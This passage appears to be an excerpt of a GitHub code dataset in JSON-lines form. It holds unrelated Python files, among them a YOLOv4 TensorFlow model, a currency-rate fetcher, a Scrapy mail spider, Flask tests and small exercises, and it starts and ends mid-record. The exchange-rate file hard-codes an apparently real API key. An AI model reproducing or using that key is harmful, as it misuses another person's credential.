__get_api_response(f\"https://api.fbi.gov/@artcrimes/{crime_id}\")\n","repo_name":"rly0nheart/fbi-api","sub_path":"fbi/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"36425844143","text":"from decimal import Decimal\nfrom domain import Rates\nimport json\nimport urllib.request\n\nAPI_KEY = 'c15dab3a23b14a1d82ef0ab60b3b417d'\nURL = \"https://openexchangerates.org/api/latest.json?app_id={}\".format(API_KEY)\n\n\ndef build_rates_db() -> Rates:\n    req = urllib.request.Request(URL)\n    with urllib.request.urlopen(req) as response:\n        result = json.loads(response.read().decode('utf-8'))\n\n    rates = result['rates']\n    base = result['base']\n    timestamp = result['timestamp']\n\n    rt = {k: Decimal(rates[k]) for k in rates}\n    openexc_rates = Rates(base, rt, timestamp)\n    #print(openexc_rates)\n    return openexc_rates\n\n","repo_name":"evgenii-malov/interviews","sub_path":"CURR_XCHG_REST_14_03_18/datasources/openexc_datasource.py","file_name":"openexc_datasource.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23479140545","text":"import tensorflow as tf\nimport numpy as np\n\nfrom layers import Mish, ScaledRandomUniform\nimport utils\n\n\n\nanchor_sizes = [\n    [(12, 16), (19, 36), (40, 28)],\n    [(36, 75), (76, 55), (72, 146)],\n    [(142, 110), (192, 243), (459, 401)],\n]\nscales = [1.2, 1.1, 1.05]\n\n\ndef calc_loss(layer_id, gt, preds, debug=False):\n    gt_boxes = gt[..., : 4]\n    gt_labels = tf.cast(gt[..., 4], tf.int32)\n    gt_count = tf.shape(gt_labels)[-1]\n    gt_mask = tf.where(gt_labels == -1, 0.0, 1.0)\n    layer_xywh, layer_obj, layer_cls = utils.decode_layer(preds, layer_id)\n    cls_count = layer_cls.shape[-1]\n\n    s = tf.shape(preds)\n    batch_size = s[0]\n    gw = s[1]\n    gh = s[2]\n    stride_x = 1 / gw\n    stride_y = 1 / gh\n    d = s[3]\n    truth_mask = tf.zeros((batch_size, gw, gh, 3))\n\n    box_loss = 0.0\n    cls_loss = 0.0\n\n    ix = tf.cast(tf.math.floor(tf.cast(gw, tf.float32) * gt_boxes[..., 0]), tf.int32)\n    iy = tf.cast(tf.math.floor(tf.cast(gh, tf.float32) * gt_boxes[..., 1]), tf.int32)\n    ix = tf.clip_by_value(ix, 0, gw - 1)\n    iy = tf.clip_by_value(iy, 0, gh - 1)\n\n    box_shape = tf.shape(gt_labels)\n    zeros = tf.zeros_like(gt_labels, dtype=tf.float32)\n    gt_shift = tf.stack([zeros, zeros, gt_boxes[..., 2], gt_boxes[..., 3]], axis=-1)\n    gt_shift = tf.stack([gt_shift, gt_shift, gt_shift], axis=1)\n\n    anchors_ws = [tf.cast(tf.fill(box_shape, anchor_sizes[layer_id][ir][0]), dtype=tf.float32) / 608.0 for ir in range(3)]\n    anchors_hs = [tf.cast(tf.fill(box_shape, anchor_sizes[layer_id][ir][1]), dtype=tf.float32) / 608.0 for ir in range(3)]\n    anchors = tf.stack([tf.stack([zeros, zeros, anchors_ws[ir], anchors_hs[ir]], axis=-1) for ir in range(3)], axis=1)\n\n    ious = utils.calc_ious(gt_shift, anchors)\n    ious_argmax = tf.cast(tf.argmax(ious, axis=1), dtype=tf.int32)\n    batch_idx = tf.tile(tf.range(batch_size)[ : , tf.newaxis], [1, box_shape[-1]])\n\n    indices = tf.stack([batch_idx, iy, ix, ious_argmax], axis=-1)\n    pred_boxes = tf.gather_nd(layer_xywh, indices)\n    box_loss = tf.math.reduce_sum(gt_mask * (1.0 - utils.calc_gious(pred_boxes, gt_boxes)))\n\n    cls_one_hot = tf.one_hot(gt_labels, cls_count)\n    pred_cls = tf.gather_nd(layer_cls, indices)\n    cls_diffs = tf.math.reduce_sum(tf.math.square(pred_cls - cls_one_hot), axis=-1)\n    cls_loss = tf.math.reduce_sum(gt_mask * cls_diffs)\n\n    indices_not_null = tf.gather_nd(indices, tf.where(gt_labels != -1))\n    truth_mask = tf.tensor_scatter_nd_update(truth_mask, indices_not_null, tf.ones_like(indices_not_null, dtype=tf.float32)[:,0])\n    inv_truth_mask = 1.0 - truth_mask\n\n    obj_loss = tf.math.reduce_sum(tf.math.square(1 - layer_obj) * truth_mask)\n    gt_boxes_exp = tf.tile(tf.reshape(gt_boxes, (batch_size, 1, 1, 1, gt_count, 4)), [1, gw, gh, 3, 1, 1])\n    pred_boxes_exp = tf.tile(tf.reshape(layer_xywh, (batch_size, gw, gh, 3, 1, 4)), [1, 1, 1, 1, gt_count, 1])\n    iou_mask = tf.cast(tf.math.reduce_max(utils.calc_ious(gt_boxes_exp, pred_boxes_exp), axis=-1) < 0.7, tf.float32)\n    obj_loss += tf.math.reduce_sum(tf.math.square(layer_obj) * inv_truth_mask * iou_mask)\n\n    return (0.05 * box_loss + 1.0 * obj_loss + 0.5 * cls_loss) / tf.cast(batch_size, dtype=tf.float32)\n\n\n\n\nclass YOLOv4Model(tf.keras.Model):\n    def __init__(self, classes_num=80, image_size=(608, 608)):\n\n        self.classes_num = classes_num\n        self.image_size = (image_size[0], image_size[1], 3)\n\n        input = tf.keras.Input(shape=self.image_size)\n        output = self.CSPDarknet53WithSPP()(input)\n        output = self.YOLOHead()(output)\n        super().__init__(input, output)\n\n        self.loss_tracker = tf.keras.metrics.Mean(name=\"loss\")\n        self.lr_tracker = tf.keras.metrics.Mean(name=\"lr\")\n        self.mAP_tracker = tf.keras.metrics.Mean(name=\"mAP\")\n\n\n    def fit(self, dataset, **kwargs):\n\n        start_step = 1 + kwargs['steps_per_epoch'] * kwargs['initial_epoch']\n        self.current_step = tf.Variable(start_step, trainable=False, dtype=tf.int32)\n        self.total_steps = kwargs['epochs'] * kwargs['steps_per_epoch']\n        super().fit(dataset, **kwargs)\n\n\n    def train_step(self, data):\n\n        input, gt_boxes = data\n        with tf.GradientTape() as tape:\n            output = self(input, training=True)\n            loss0 = calc_loss(0, gt_boxes, output[0])\n            loss1 = calc_loss(1, gt_boxes, output[1])\n            loss2 = calc_loss(2, gt_boxes, output[2])\n            total_loss = loss0 + loss1 + loss2\n            gradients = tape.gradient(total_loss, self.trainable_variables)\n            self.optimizer.apply_gradients(zip(gradients, self.trainable_variables))\n\n        self.loss_tracker.update_state(total_loss)\n        self.lr_tracker.update_state(self.optimizer.lr(self.current_step))\n        self.current_step.assign_add(1)\n\n        return {\"loss\" : self.loss_tracker.result(), \"lr\": self.lr_tracker.result()}\n\n    def test_step(self, data):\n\n        input, gt_boxes = data\n        prediction = self(input, training=False)\n        ap = tf.py_function(\n            func=lambda *args: utils.calc_mAP(args[:-2], args[-2], args[-1]),\n            inp=[*prediction, gt_boxes, self.classes_num],\n            Tout=tf.float64,\n        )\n        self.mAP_tracker.update_state(ap)\n\n        return {\"mAP\" : self.mAP_tracker.result()}\n\n\n    @property\n    def metrics(self):\n        return [self.loss_tracker, self.mAP_tracker, self.lr_tracker]\n\n\n\n    def load_weights(self, weights_file):\n        if weights_file.endswith(\".h5\"):\n            super().load_weights(weights_file)\n        else:\n            self._load_weights_yolo(weights_file)\n\n    # load weights from darknet weight file\n    def _load_weights_yolo(self, weights_file):\n        with open(weights_file, \"rb\") as f:\n            major, minor, revision = np.fromfile(f, dtype=np.int32, count=3)\n            if (major * 10 + minor) >= 2:\n                seen = np.fromfile(f, dtype=np.int64, count=1)\n            else:\n                seen = np.fromfile(f, dtype=np.int32, count=1)\n            j = 0\n            for i in range(110):\n                conv_layer_name = \"conv2d_%d\" % i if i > 0 else \"conv2d\"\n                bn_layer_name = \"batch_normalization_%d\" % j if j > 0 else \"batch_normalization\"\n\n                conv_layer = self.get_layer(conv_layer_name)\n                in_dim = conv_layer.input_shape[-1]\n                filters = conv_layer.filters\n                size = conv_layer.kernel_size[0]\n\n                if i not in [93, 101, 109]:\n                    # darknet weights: [beta, gamma, mean, variance]\n                    bn_weights = np.fromfile(f, dtype=np.float32, count=4 * filters)\n                    # tf weights: [gamma, beta, mean, variance]\n                    bn_weights = bn_weights.reshape((4, filters))[[1, 0, 2, 3]]\n                    bn_layer = self.get_layer(bn_layer_name)\n                    j += 1\n                else:\n                    conv_bias = np.fromfile(f, dtype=np.float32, count=filters)\n\n                # darknet shape (out_dim, in_dim, height, width)\n                conv_shape = (filters, in_dim, size, size)\n                conv_weights = np.fromfile(f, dtype=np.float32, count=np.product(conv_shape))\n                # tf shape (height, width, in_dim, out_dim)\n                conv_weights = conv_weights.reshape(conv_shape).transpose([2, 3, 1, 0])\n\n                if i not in [93, 101, 109]:\n                    conv_layer.set_weights([conv_weights])\n                    bn_layer.set_weights(bn_weights)\n                else:\n                    conv_layer.set_weights([conv_weights, conv_bias])\n\n            assert len(f.read()) == 0, \"failed to read all data\"\n\n\n\n\n    def darknetConv(\n        self, filters, size, strides=1, batch_norm=True, activate=True, activation=\"leaky\"\n    ):\n        def feed(x):\n            if strides == 1:\n                padding = \"same\"\n            else:\n                x = tf.keras.layers.ZeroPadding2D(((1, 0), (1, 0)))(x)\n                padding = \"valid\"\n\n            x = tf.keras.layers.Conv2D(\n                filters=filters,\n                kernel_size=size,\n                strides=strides,\n                padding=padding,\n                use_bias=not batch_norm,\n                kernel_initializer=ScaledRandomUniform(\n                    scale=tf.sqrt(2 / (size * size * self.image_size[2])), minval=-0.01, maxval=0.01\n                ),\n                kernel_regularizer=tf.keras.regularizers.l2(0.0005),\n            )(x)\n\n            if batch_norm:\n                x = tf.keras.layers.BatchNormalization(moving_variance_initializer=\"zeros\", momentum = 0.9)(x)\n\n            if activate:\n                if activation == \"mish\":\n                    x = Mish()(x)\n                elif activation == \"leaky\":\n                    x = tf.keras.layers.LeakyReLU(alpha=0.1)(x)\n\n            return x\n\n        return feed\n\n    def darknetResidualBlock(self, filters, repeats=1, initial=False):\n        def feed(x):\n            filters2 = 2 * filters if initial else filters\n            x = self.darknetConv(2 * filters, 3, strides=2, activation=\"mish\")(x)\n            route = self.darknetConv(filters2, 1, activation=\"mish\")(x)\n            x = self.darknetConv(filters2, 1, activation=\"mish\")(x)\n            for i in range(repeats):\n                skip = x\n                x = self.darknetConv(filters, 1, activation=\"mish\")(x)\n                x = self.darknetConv(filters2, 3, activation=\"mish\")(x)\n                x = tf.keras.layers.Add()([skip, x])\n            x = self.darknetConv(filters2, 1, activation=\"mish\")(x)\n            x = tf.keras.layers.Concatenate()([x, route])\n            x = self.darknetConv(2 * filters, 1, activation=\"mish\")(x)\n            return x\n\n        return feed\n\n    def CSPDarknet53WithSPP(self):\n        def feed(x):\n            x = self.darknetConv(32, 3, activation=\"mish\")(x)\n            x = self.darknetResidualBlock(32, initial=True)(x)\n            x = self.darknetResidualBlock(64, repeats=2)(x)\n            x = route_1 = self.darknetResidualBlock(128, repeats=8)(x)\n            x = route_2 = self.darknetResidualBlock(256, repeats=8)(x)\n            x = self.darknetResidualBlock(512, repeats=4)(x)\n            x = self.darknetConv(512, 1)(x)\n            x = self.darknetConv(1024, 3)(x)\n            x = self.darknetConv(512, 1)(x)\n\n            # SPP\n            spp1 = tf.keras.layers.MaxPooling2D(pool_size=13, strides=1, padding=\"same\")(x)\n            spp2 = tf.keras.layers.MaxPooling2D(pool_size=9, strides=1, padding=\"same\")(x)\n            spp3 = tf.keras.layers.MaxPooling2D(pool_size=5, strides=1, padding=\"same\")(x)\n\n            x = tf.keras.layers.Concatenate()([spp1, spp2, spp3, x])\n\n            x = self.darknetConv(512, 1)(x)\n            x = self.darknetConv(1024, 3)(x)\n            x = self.darknetConv(512, 1)(x)\n            return route_1, route_2, x\n\n        return feed\n\n    def yoloUpsampleConvBlock(self, filters):\n        def feed(x, y):\n            x = self.darknetConv(filters, 1)(x)\n            x = tf.keras.layers.UpSampling2D()(x)\n            y = self.darknetConv(filters, 1)(y)\n            x = tf.keras.layers.Concatenate()([y, x])\n\n            x = self.darknetConv(filters, 1)(x)\n            x = self.darknetConv(2 * filters, 3)(x)\n            x = self.darknetConv(filters, 1)(x)\n            x = self.darknetConv(2 * filters, 3)(x)\n            x = self.darknetConv(filters, 1)(x)\n\n            return x\n\n        return feed\n\n    def yoloDownsampleConvBlock(self, filters):\n        def feed(x, y):\n            x = self.darknetConv(filters, 3, strides=2)(x)\n            x = tf.keras.layers.Concatenate()([x, y])\n\n            x = self.darknetConv(filters, 1)(x)\n            x = self.darknetConv(2 * filters, 3)(x)\n            x = self.darknetConv(filters, 1)(x)\n            x = self.darknetConv(2 * filters, 3)(x)\n            x = self.darknetConv(filters, 1)(x)\n\n            return x\n\n        return feed\n\n    def yoloBboxConvBlock(self, filters):\n        def feed(x):\n            x = self.darknetConv(filters, 3)(x)\n            x = self.darknetConv(3 * (self.classes_num + 5), 1, activate=False, batch_norm=False)(x)\n\n            return x\n\n        return feed\n\n    def YOLOHead(self):\n        def feed(x):\n            route_1, route_2, route = x\n            x = route_2 = self.yoloUpsampleConvBlock(256)(route, route_2)\n            x = route_1 = self.yoloUpsampleConvBlock(128)(x, route_1)\n            small_bbox = self.yoloBboxConvBlock(256)(x)\n            x = self.yoloDownsampleConvBlock(256)(route_1, route_2)\n            medium_bbox = self.yoloBboxConvBlock(512)(x)\n            x = self.yoloDownsampleConvBlock(512)(x, route)\n            large_bbox = self.yoloBboxConvBlock(1024)(x)\n\n            return small_bbox, medium_bbox, large_bbox\n\n        return feed\n","repo_name":"NVIDIA/DALI","sub_path":"docs/examples/use_cases/tensorflow/yolov4/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":12700,"program_lang":"python","lang":"en","doc_type":"code","stars":4689,"dataset":"github-code","pt":"16"}
+{"seq_id":"42425623023","text":"#!/usr/bin/python3\n\nimport sys\n\n\ndef safe_function(fct, *args):\n    try:\n        result_of = fct(*args)\n        return result_of\n    except Exception as er:\n        error_messages = \"Exception: {}\".format(er)\n        print(error_messages, file=sys.stderr)\n        return None\n","repo_name":"MMahmudd/alx-higher_level_programming","sub_path":"0x05-python-exceptions/101-safe_function.py","file_name":"101-safe_function.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31563297925","text":"import cv2\nimport os\nimport pandas as pd\nimport numpy as np\n\ndef load_images_from_folder(folder):\n    images = [] \n    labels = []\n    for filename in os.listdir(folder):\n        img = cv2.imread(os.path.join(folder,filename))\n        if img is not None:\n            images.append(img)\n            labels.append(ord(filename[0]) -97)\n    return images, labels\n\nfolder=\"testImages\"\nimgs, labels= load_images_from_folder(folder)\ncol = pd.read_csv('/home/alecsoc/Desktop/mygit/EECS504_Project_F20/sign_mnist_test.csv').columns\ndata1 = pd.read_csv('/home/alecsoc/Desktop/mygit/EECS504_Project_F20/sign_mnist_test.csv')\ndata = np.zeros((len(imgs), 28*28+1))\nfor i in range(len(imgs)):\n    gray = cv2.cvtColor(imgs[i], cv2.COLOR_BGR2GRAY)\n    grayF = gray.reshape((1,28*28))\n    data[i,:] = np.insert(grayF,0,labels[i])\nnewData = pd.DataFrame(data,columns = col)\ndata2 = data1.append(newData)\ndata2.to_csv('AlecData.csv',index =False)\n\n\n","repo_name":"AlecS19/EECS504_Project_F20","sub_path":"dataCreation.py","file_name":"dataCreation.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75046008007","text":"#https://www.acmicpc.net/problem/1213\n#Implementation, Greedy\n\nfrom collections import defaultdict \n\ns = list(input())\ns.sort()\n\nd = defaultdict(int)\nfor i in s:\n    d[i] += 1\n\nc = []\ncnt = 0\nfor key, val in d.items():\n    if val%2 != 0:\n        cnt += 1\n        c.append(key)\n        s.remove(key)\n\n    if cnt > 1:\n        print(\"I'm Sorry Hansoo\")\n        break\nelse:\n    l = []\n    for i in range(0, len(s), 2):\n        l.append(s[i])\n\n    result = l+c+l[::-1]\n    print(''.join(result))\n\n#Counter 사용#\nfrom collections import Counter \n\ns = list(input())\ns.sort()\n\ncounter = Counter(s)\n\nc = []\ncnt = 0\nfor i in counter:\n    if counter[i]%2!=0:\n        cnt += 1\n        c.append(i)\n        s.remove(i)\n\n    if cnt > 1:\n        print(\"I'm Sorry Hansoo\")\n        break\nelse:\n    l = []\n    for i in range(0, len(s), 2):\n        l.append(s[i])\n\n    result = l+c+l[::-1]\n    print(''.join(result))\n    ","repo_name":"JeongHo16/Coding_Test","sub_path":"Problems/python/boj_팰린드롬만들기.py","file_name":"boj_팰린드롬만들기.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44239756330","text":"from dateutil.parser import parse as parse_date\n\nfrom kp_scrapers.lib.parser import may_strip\nfrom kp_scrapers.models.normalize import DataTypes\nfrom kp_scrapers.spiders.bases.mail import MailSpider\nfrom kp_scrapers.spiders.charters import CharterSpider\nfrom kp_scrapers.spiders.charters.banchero_vlcc import normalize\n\n\nclass BancheroCostaVLCCSpider(CharterSpider, MailSpider):\n    name = 'BCR_Fixtures_VLCC'\n    provider = 'Banchero'\n    version = '1.0.1'\n    produces = [DataTypes.SpotCharter, DataTypes.Vessel]\n\n    spider_settings = {\n        # push items on GDrive spreadsheet\n        'KP_DRIVE_ENABLED': True,\n        # notify in Slack the document is ready\n        'NOTIFY_ENABLED': True,\n    }\n\n    def parse_mail(self, mail):\n        \"\"\"\n\n        Args:\n            mail (Mail):\n\n        Returns:\n            SpotCharter:\n\n        \"\"\"\n        reported_date = parse_date(mail.envelope['date']).strftime('%d %b %Y')\n        start_processing = False if 'wake up' not in mail.envelope['subject'].lower() else True\n\n        for tr_sel in self.select_body_html(mail).xpath('//tr'):\n            row = [\n                may_strip(''.join(td_sel.xpath('.//text()').extract()))\n                for td_sel in tr_sel.xpath('.//td')\n            ]\n\n            if 'med/black sea' in row:\n                start_processing = True\n                continue\n\n            # wake up attachment has unneccesary tables\n            if len(row) < 8:\n                continue\n\n            if start_processing:\n                raw_item = {str(idx): row[idx] for idx, r in enumerate(row)}\n\n                raw_item.update(provider_name=self.provider, reported_date=reported_date)\n                yield normalize.process_item(raw_item)\n","repo_name":"theHausdorffMetric/test","sub_path":"kp_scrapers/spiders/charters/banchero_vlcc/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34273413740","text":"import os\nimport json\nfrom flask import Flask\nimport pytest\nfrom api.routes import config_routes\nfrom api.config import Config\nfrom flask_sqlalchemy import SQLAlchemy\n\n# app = Flask(__name__)\n# @pytest.fixture\n# def client():\n    \nroot_url = \"/todo/api/v1.0/\"\n\napp = Flask(__name__)\napp.config.from_object(Config)\ndb = SQLAlchemy(app)\nconfig_routes(app, db)\nclient = app.test_client()\n\ndef test_base_route():    \n    url = \"/\"\n    response = client.get(url)\n    assert b'Hello' in response.get_data()\n    assert response.status_code == 200\n\ndef test_tasks_list():\n    url = root_url + \"tasks\"\n    response = client.get(url)\n    assert response.status_code == 200\n    # assert b'[]' in response.get_data()\n\n\ndef test_retrieve_task():\n    url = root_url + \"tasks/1\"\n    response = client.get(url)\n    assert response.status_code == 200\n    assert b'\"id\": 1' in response.get_data()\n\ndef test_create_task():\n    url = root_url + \"tasks\"\n    request_data = {\n        \"description\": \"hmmm\",\n        \"id\": \"4\",\n        \"title\": \"WOW AMZING\"\n    }\n    response = client.post(url,\n        data = json.dumps(request_data),\n        content_type = 'application/json')\n    assert response.status_code == 200\n    assert \"Success\" or \"Error\" in response.get_data()\n\ndef test_update_task():\n    url = root_url + \"tasks/1\"\n    request_data = {\n        \"description\": \"hmmm\"\n    }\n    response = client.put(url,\n                data = json.dumps(request_data),\n                content_type = 'application/json')\n\n    assert response.status_code == 200\n\n# def test_delete_task():\n#     url = root_url + \"tasks/1\"\n#     response = client.delete(url)\n#     # assert response.status_code == 204","repo_name":"usamasubhani/todo-rest","sub_path":"tests/test_routes.py","file_name":"test_routes.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26279126674","text":"# This is the Driver module of the Amazon Textract program.\n# Author: Guangqi Li <li001122@umn.edu>\n# Import the Utility module\nimport Amazon_Textract_Utility as Utility\n# First check whether the tracking csv exists. If not, create one.\nUtility.tracking_csv()\n# Get the progress of the extraction.\ntracking_list = Utility.track_progress()\n# Call the extraction functions.\nfor j in range(tracking_list[1],tracking_list[0]):\n    # If you want to extract forms instead of tables, replace the \"Utility.Amazon_tesseract_tables(j)\" by \"Utility.Amazon_tesseract_forms(j)\"\n    Utility.Amazon_tesseract_tables(j)\n","repo_name":"GLiUMN/MergentProcessing","sub_path":"Step_3/Amazon_Textract_Driver.py","file_name":"Amazon_Textract_Driver.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32889901105","text":"def detectLoop(head):\n    #code here\n    start = head\n    forward = head\n    while(start and forward and forward.next):\n        start = start.next\n        forward = forward.next.next\n        if start == forward:\n            return True\n    return False","repo_name":"AgrimNautiyal/Problem-solving","sub_path":"linked_list/loop_present/detect_loop_floyds_circling_algorithm_2_pointer.py","file_name":"detect_loop_floyds_circling_algorithm_2_pointer.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71023930888","text":"import requests\nfrom bs4 import BeautifulSoup\nurl = \"https://stackoverflow.com/questions/tagged/python\"\nr = requests.get(url)\nques_lst = []\nsoup = BeautifulSoup(r.text, 'html.parser')\nques_summary = soup.find_all('div', class_='s-post-summary--content')\nfor summary in ques_summary:\n    question = summary.find(class_='s-link').text\n    ques_lst.append(question)\nprint(*ques_lst, sep = \"\\n\")\n    \n\n\n","repo_name":"vamshisurya/WebScrapping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1017613647","text":"\n\ndef intersection(a, b):\n    result = []\n    for i in a:\n        for j in b:\n            if i == j:\n                result.append(i)\n    return sorted(result)\n\n\ndef reunion(a, b):\n    result = []\n    for i in a:\n        result.append(i)\n    for j in b:\n        if j not in result:\n            result.append(j)\n    return sorted(result)\n\n\ndef difference(a, b):\n    result = []\n    for i in a:\n        result.append(i)\n    for j in b:\n        if j in result:\n            result.remove(j)\n    return sorted(result)\n\n# def operation(a, b):\n#     return (a intersectat cu b, a reunit cu b, a - b, b - a)\n\n\na = [1, 3, 5, 7]\nb = [2, 8, 12, 5, 9]\nprint(difference(b, a))\n","repo_name":"emilianraduu/an3semestru1","sub_path":"Python/Laborator 2/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19678770322","text":"from classes.helpers import LoopHelper\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(\n        description='''Usage python PATHTO/bundle_check.py ROOTDIR ''')\n    parser.add_argument('path', nargs='*', default=[1], help='root dir to check for bundles')\n    args = parser.parse_args()\n\n    print(\"Bundle check in dir: \" + sys.argv[1])\n    LoopHelper.LoopHelper().loop_through(sys.argv[1])\n","repo_name":"yirez/BundleChecker","sub_path":"bundle_check.py","file_name":"bundle_check.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74125382088","text":"import tkinter as tk\n\n# Create a new window and configure it\nwindow = tk.Tk()\nwindow.title(\"Miles to Km Converter\")\nwindow.minsize(width=300, height=200)\nwindow.config(padx=50, pady=50)\n\n# Entry widget for user input\nmiles_entry = tk.Entry(width=10, justify=\"center\")\nmiles_entry.grid(column=1, row=0, padx=10, pady=10)\n\n# Label for miles\nmiles_label = tk.Label(text=\"Miles\")\nmiles_label.grid(column=2, row=0, padx=10, pady=10)\n\n# Label for \"is equal to\" text\nequal_label = tk.Label(text=\"is equal to\")\nequal_label.grid(column=0, row=1, padx=10, pady=10)\n\n# Label for the converted value\nconversion_value = 0.00\nconverted_label = tk.Label(text=f\"{conversion_value}\")\nconverted_label.grid(column=1, row=1, padx=10, pady=10)\n\n# Label for km\nkm_label = tk.Label(text=\"Km\")\nkm_label.grid(column=2, row=1, padx=10, pady=10)\n\n# Function to perform the conversion\ndef calculate():\n    conversion_value = round(float(miles_entry.get()) * 1.60934, 2)\n    converted_label.config(text=f\"{conversion_value}\")\n\n# Button to trigger the conversion\ncalculate_button = tk.Button(text=\"Calculate\", command=calculate)\ncalculate_button.grid(column=1, row=2, padx=10, pady=10)\n\n# Start the main event loop to handle user interactions with the GUI\nwindow.mainloop()\n","repo_name":"dannychan0510/100-days-of-code","sub_path":"day-27-miles-to-km-converter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39607858781","text":"import cv2\nimport numpy as np\nimport time\n\n\ndef multi_template(image, temp):\n    img_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    temp_gray = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY)\n\n    res_ = cv2.matchTemplate(img_gray, temp_gray, cv2.TM_CCOEFF_NORMED)\n\n    w, h = temp_gray.shape[:2]\n\n    threshold = 0.75\n    loc = np.where(res_ >= threshold)\n    print(\"# Check ~\")\n\n    pixel_ = 50\n\n    T_count = 4\n\n    th1, th2, cnt = 0, 0, 0\n    pt_data = []\n    F_i = len(loc[0])-2\n\n    for i in range(len(loc[0])-1):\n        check1 = abs(loc[0][i] - loc[0][i+1])\n        check2 = abs(loc[1][i] - loc[1][i+1])\n\n        if check1 > pixel_ and check2 > pixel_:\n            th1 = i + 1\n            cnt += 1\n            # print(\"# \", check1, \" < = > \", th2, \" - \", th1, \"  | Current Counts : \", cnt)\n            new_pt = tuple([int(np.mean(loc[1][th2:th1])), int(np.mean(loc[0][th2:th1]))])\n            pt_data.append(new_pt)\n            th2 = th1\n\n        if cnt + 1 == T_count or i == F_i:\n            new_pt = tuple([int(np.mean(loc[1][th2:])), int(np.mean(loc[0][th2:]))])\n            pt_data.append(new_pt)\n            # print(\"# \", check1, \" < = > \", th2, \" - End\", \" | Current Counts : \", cnt+1)\n            print(\"# Done ~\")\n            break\n\n    for i in range(len(pt_data)):\n        cv2.rectangle(image, pt_data[i], (pt_data[i][0] + w, pt_data[i][1] + h), (0, 0, 255), 2)\n        print(\"# Mark Point Info : (\", pt_data[i], \")\")\n\n    return image\n\n\ndef resize_img(image_, ratio=1.0):\n    h, w = image_.shape[:2]\n    image_ = cv2.resize(image_, (int(ratio * w), int(ratio * h)))\n    return image_\n\n\nif __name__ == \"__main__\":\n    # obj_image1 = cv2.imread(\"D:\\\\temp5.png\")\n    obj_image2 = cv2.imread(\"D:\\\\FF_.png\")\n    temp_image = cv2.imread(\"D:\\\\AOI_STI\\\\images\\\\MarkPoint\\\\MarkPointTemplate1.png\")\n\n    tic = time.time()\n\n    # obj_image1 = resize_img(obj_image1, 0.4)\n    obj_image2 = resize_img(obj_image2, 0.4)\n    temp_image = resize_img(temp_image, 0.4)\n\n    # out_image1 = multi_template(obj_image1, temp_image)\n    out_image2 = multi_template(obj_image2, temp_image)\n    print(\"# Total Spent Times : %.3f ms\" % ((time.time() - tic)*1000))\n\n    # out_image1 = resize_img(out_image1)\n    out_image2 = resize_img(out_image2)\n    # cv2.imshow(\"Out1\", out_image1)\n    cv2.imshow(\"Out2\", out_image2)\n    # cv2.imwrite(\"D:\\\\out1.png\", out_image1)\n    cv2.imwrite(\"D:\\\\out2.png\", out_image2)\n    cv2.waitKey()\n","repo_name":"gogo12235LYH/Image-Processing-Base","sub_path":"Muti_Template.py","file_name":"Muti_Template.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37358773994","text":"\nfrom asyncio import FastChildWatcher\nfrom django.shortcuts import HttpResponse\nfrom django.http import JsonResponse\n\nimport json\nimport time\nimport os\n\nfrom HModules import HMySQL, HConfig,  HActuator\n\nsql = HMySQL.HSQL('HHOME')\ncam = HActuator.CAM()\n\nMDIR = 'HModules'\nFACES = MDIR + '/baseFaces'\nif not os.path.isdir(FACES): os.mkdir(FACES)\nCONFS = MDIR + '/conf'\nif not os.path.isdir(CONFS): os.mkdir(CONFS)\n\nlightConf = HConfig.CONFIG(CONFS + '/light_conf', CONFS + '/light_conf_reset')\ndhtConf = {\n    'temperature': 24,\n    'humidity': 60,\n    'water_auto': True,\n    'water_state': False,\n    'heat_auto': True,\n    'heat_state': False,\n}\ndhtConf = HConfig.CONFIG(CONFS + '/dht_conf', CONFS + '/dht_conf_reset', dhtConf)\n\ndef index(request):\n    return HttpResponse('这不是你该来的地方')\n\n############################## 设置系列 ##############################\n\ndef set_hconfig(change_info: dict) -> bool:\n    with open('HModules/thresholds', encoding='utf8') as f: hconfig = json.loads(f.readline())\n    for k, v in change_info.items():\n        if k in hconfig: hconfig[k] = v\n    with open('HModules/thresholds_reset', 'w', encoding='utf8') as f: f.write(json.dumps(hconfig))\n    return True\n\ndef set_temperature(request):\n    query_data = json.loads(request.body)\n    rdata = dict()\n    rdata['temperature'] = float(query_data['num'])\n    